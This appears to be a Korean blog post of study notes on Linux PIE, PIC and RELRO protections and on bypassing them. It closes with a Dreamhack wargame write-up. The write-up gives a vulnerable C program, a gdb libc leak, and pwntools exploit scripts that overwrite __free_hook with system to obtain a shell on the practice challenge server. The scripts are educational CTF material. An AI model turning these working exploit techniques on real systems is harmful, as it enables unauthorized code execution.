System Hacking

PIE & RELRO(1) | dreamhack

burrri 2024. 3. 16. 22:16

PIE와 PIC

PIC (position-independent-code)

리눅스에서 ELF 는 실행파일 (executable) 또는 공유 오브젝트(shared object, 라이브러리 파일) 로 구성

 

공유 오브젝트는 기본적으로 relocation 가능하도록 설계  (상대 참조를 통해) 

 => 메모리의 어느 주소에 적재되어도 코드의 훼손x 

==> 이러한 코드를 PIC 라고 한다. 

 

HOW?

매핑 방식이 다름. 

pic 코드는 rip를 기준으로 상대 참조를 하여 무작위 주소에 매핑되어도 executable.

 

 

PIE (position-independent-exceutable) 

무작위 주소에 매핑되어도 실행 가능한 실행 파일

=>ASLR 도입시에 실행 파일도 무작위하게 매핑하고 싶었으나, 호환성 문제 

==> 재배치가 원래 가능했던 공유 오브젝트를 실행파일로 사용 !

( $readelf -h /bin/ls 시에 type : DYN 공유 오브젝트) 

 

PIE on ASLR

PIE는 재배치 가능 => ASLR이 적용된 시스템에서는 실행파일도 무작위 주소에 적재  (적용X시에는 무작위 적재X)

 

PIE 우회 

코드 베이스 구하기

ASLR환경에서 PIE가 적용된 바이너리 => 실행마다 다른 주소에 적재 => 주소를 알아야제

이 주소를 PIE 베이스 (코드 베이스)라고 한다. 

 

Partial Overwrite

코드 베이스를 구하기 어렵다면!  ret 주소의 일부 바이트만 덮는 공격을 고려하는 공격기법이다.

일반적으로 함수의 반환 주소는 Caller호출함수의 내부 이므로 반환 주소 예측 가능하다. 

ASLR 특성상, 코드 영역의 주소도 하위 12비트(16진수 하위 3개) 값은 항상 동일

따라서, 가젯과 반환 주소가 하위 한 바이트(2개)만 다르다면, 이 값만 overwrite

....그러나, 이게아니면 어렵다.

 

 

 

 


RELRO

RELRO

 

Lazy binding : 함수가 처음 호출될 떄 함수의 주소를 구하고, 이를 GOT에 적는 방식

=> 실행 중에 GOT테이블을 업데이트할 수 있어야하므로 W권한 부여 => 취약점!

 

ELF의 data segment : 프로세스의 초기화 및 종료와 관련된 .init_array, .fini_array 존재

프로세스의 시작과 종료에 실행한 함수들의 주소를 저장

=> overwrite가능하다면 프로세스의 흐름이 조작될 수 있다.

 

이를 보호하기 위해 프로세스의 data 세그먼트를 보호하는 RELocation Read-Only (RELRO) 

=> 쓰기 권한이 불필요한 데이터 세그먼트에 쓰기 권한 제거 

 

1. Partial RELRO

$gcc -o relo.o relo.c -no-pie -fno-PIE

: partial relro적용 

.got.ple, .data, .bss 등은 쓰기 가능하지만, .init_array와 .fini_array는 쓰기 불가능

 

 

2. Full RELRO

$gcc -o relo.o relo.c

checksec시에 FULL RELRO 확인 가능

 

got에는 쓰기 권한 제거, data와 bss에만 쓰기 권한 존재

-> full relro시에는 라이브러리 함수들의 주소가 바이너리 로딩 시점에 바인딩

=> GOT에 쓰기 권한이 주어지지 않는다. 

 

 

RELRO 우회

(gcc는 full RELRO를 기본 적용, PIE해제 시에 partial RELRO 적용)

 

Partial RELRO

Partial RELRO 적용 바이너리는 GOT와 관련된 섹션이 .got, .got.plt로 두 개가 존재한다. 

.got.plt 영역에 대한 w권한이 존재하므로 GOT Overwrite를 활용

 

Full RELRO

공격을 덮어쓸 수 있는 함수 포인터 중 라이브러리에 위치한 hook 발견

-> 라이브러리의 대표적인 hook : malloc hook, free hook

(이 함수 포인터는 동적 메모리 할당 및 해제 과정의 디버깅을 위해 존재)

 

malloc 함수의 코드를 보면

함수의 시작 부분에서 __malloc hook의 유무 검사, 존재하면 호출한다.

libc.so에서 쓰기 가능 영역에 위치하기에 libc가 매핑된 주소를 알면 조작하고 malloc을 호출하여 흐름 조작 가능

=> Hook Overwrite


Hook Overwrite

hooking : 운영체제가 어떤 코드를 실행하려할 때, 낚아채서 다른 코드가 실행되게 하는 것

-> 함수의 호출을 모니터링 / 함수에 기능을 추가 / 다른 코드에 심어서 변조

-> malloc 과 free에 훅 설치 세, sw에서 할당하고 해제하는 메모리를 모니터링하여 추적 가능

 

 

메모리 함수 훅

malloc, free, realloc 훅

libc.so 속 메모리 동적할당과 해제를 담당하는 함수 : malloc, free, realloc

 

libc에는 위의 함ㅁ수들의 디버깅 편의를 위해 hook 변수가 정의되어 있다.

예로, malloc을 수행하기전 _malloc_hook변수의 값이 NULL인지 확인하고,
아니라면 _malloc_hook이 가리키는 함수를 먼저 실행한다. 이후, malloc의 인자는 훅 함수에 전달된다.

훅의 위치와 권한

_malloc_hook, free_hook, _realloc_hook은 관련된 함수들과 마찬가지로 libc.so에 정의된 "함수 포인터"

$ readelf -s /lib/x86_64-linux-gnu/libc-2.27.so | grep -E "__malloc_hook|__free_hook|__realloc_hook" 를 통해 offset확인가능
=> libc.so의 bss 섹션에 포함 (쓰기가 가능한 영역 )

==> 조작가능!

 

 

Hook Overwrite

(종합) 

malloc, free, realloc : 각각에 대응되는 훅 변수가 존재하며, libc의 bss 섹션에 위치하기에 덮어쓰기 가능

: 훅 실행 시 기존함수에 전달한 인자를 같이 전달하기에 __malloc_hook을 system 함수의 주소로 덮고 malloc("/bin/sh")를 호출하여 셸 획득 공격 가능!!

 

_[이름]_hook : libc에 쓰기 권한으로 남아있는 함수 포인터로 

malloc, free 를 호출하여 손쉽게 실행가능하므로 공격에 사용 (so, Glibc 2.34 버전부터 제거됨)

 

 

공격 PoC (proof-of-concept) 

// Name: fho-poc.c
// Compile: gcc -o fho-poc fho-poc.c

#include <malloc.h>
#include <stdlib.h>
#include <string.h>

const char *buf="/bin/sh";

int main() {
  printf("\"__free_hook\" now points at \"system\"\n");
  __free_hook = (void *)system;
  printf("call free(\"/bin/sh\")\n");
  free(buf);
}

 

 

Free Hook Overwrite

pho

https://dreamhack.io/wargame/challenges/355/

: full RELRO, canary, nx, PIE 적용 ...

 

코드 분석

// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

// BOF 발생 (알고 있는 정보가 없어 카나리를 덮을 수도, ret으로 유의미한 값으로 조작할 수도 없음)
// stack에 있는 데이터를 읽는 데에 사용
  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

// addr에 주소를 입력하고, 그 주소에 임의의 값 작성 가능
  puts("[2] Arbitrary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

// addr에 주소를 입력하면, 해당 메모리 해제 가능
  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}

 

 

시나리오

1. 라이브러리 변수 및 함수들의 주소 구하기

libc.so에 __free_hook, system 함수 , "/bin/sh" 문자열이 저장되어있으므로 grep

free_hook : 0x3ed8e8

system : 0x4f550

"/bin/sh" : 0x1b3e1a

 

이들의 offset을 이용하려면 libc.so의 base 주소를 알아야함 => 이는 스택에 존재할 가능성이 큼

특히, main함수는 __libc_start_main이라는 라이브러리 함수가 호출하므로 main함수 스택 프레임에 존재하는 반환 주소를 읽어 그 주소 기반으로 libc 베이스 주소를 계산할 수 있다.

 

2. 셸 획득

__free_hook의 값을 system함수의 주소로 overwrite,

"/bin/sh"를 해제하면 system("/bin/sh")호출 

 

 

Exploit

1. 라이브러리 변수 및 함수들의 주소 구하기

$ gdb fho
pwndbg> b *main
Breakpoint 1 at 0x8ba
pwndbg> r
pwndbg> bt
#0  0x00005625b14008ba in main ()
#1  0x00007f5ae2f1cc87 in __libc_start_main (main=0x5625b14008ba <main>, argc=1, argv=0x7ffdf39f3ed8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffdf39f3ec8) at ../csu/libc-start.c:310
#2  0x00005625b14007da in _start ()
pwndbg> x/i 0x00007f5ae2f1cc87
   0x7f5ae2f1cc87 <__libc_start_main+231>:  mov    edi,eax
pwndbg>

main의 반환 : 0x7f5ae2f1cc87

x/i로 출력 시 : __libc_start_main+231 

 

$readelf -s libc-2.27.so | grep " __libc_start_main@" 으로 offset확인

__libc_start_main+231의 오프셋 = 0x21b10+231  

 

즉, main함수의 반환 주소인 __libc_start_main+231을 leak한 후, 해당 값에서 offset 빼면 base 주소!

 

#!/usr/bin/env python3
# Name: fho.py

from pwn import *

p = process('./fho')
e = ELF('./fho')
libc = ELF('./libc-2.27.so')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

# [1] Leak libc base
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)

libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols['__libc_start_main'] + 231)
# 또는 libc_base = libc_start_main_xx - libc.libc_start_main_return

# base를 이용해 주소 값 구하기
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
binsh = libc_base + next(libc.search(b'/bin/sh'))

slog('libc_base', libc_base)
slog('system', system)
slog('free_hook', free_hook)
slog('/bin/sh', binsh)

 

 

2. 셸 획득 

구해낸 포인터, 함수, 문자열의 주소 이용

# [2] free_hook을 system으로 overwrite
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())

p.recvuntil('With: ')
p.sendline(str(system).encode())

# [3] Exploit - free ==> system, 문자열 인자 전달 
p.recvuntil('To free: ')
p.sendline(str(binsh).encode())

p.interactive()

 

 

 

Exploit code

from pwn import *
import warnings

warnings.filterwarnings( 'ignore' )

p = remote("host3.dreamhack.games",18355)
e = ELF("./fho")
libc = ELF("./libc-2.27.so")

# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)

libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 231)

# find addr
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))

log.info("libc_base : "+hex(libc_base))
log.info("system : "+hex(system))
log.info("free_hook : "+hex(free_hook))
log.info("/bin/sh : "+hex(binsh))

# [2] Overwrite `free_hook` with `system`
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))

# [3] Exploit : free("/bin/sh") => system("/bin/sh")
p.recvuntil("To free: ")
p.sendline(str(binsh))
p.interactive()

 

 

+플러스 알파, one_gadget

https://learn.dreamhack.io/102#9

 

 

 

 

'System Hacking' 카테고리의 다른 글

Out of bounds | dreamhack  (0) 2024.03.17
PIE & RELRO (2) | dreamhack  (0) 2024.03.17
Bypass NX & ASLR(2) | dreamhack  (0) 2024.03.16
Bypass NX & ASLR(1) | dreamhack  (0) 2024.03.15
BOF & Canary | dreamhack  (0) 2024.03.10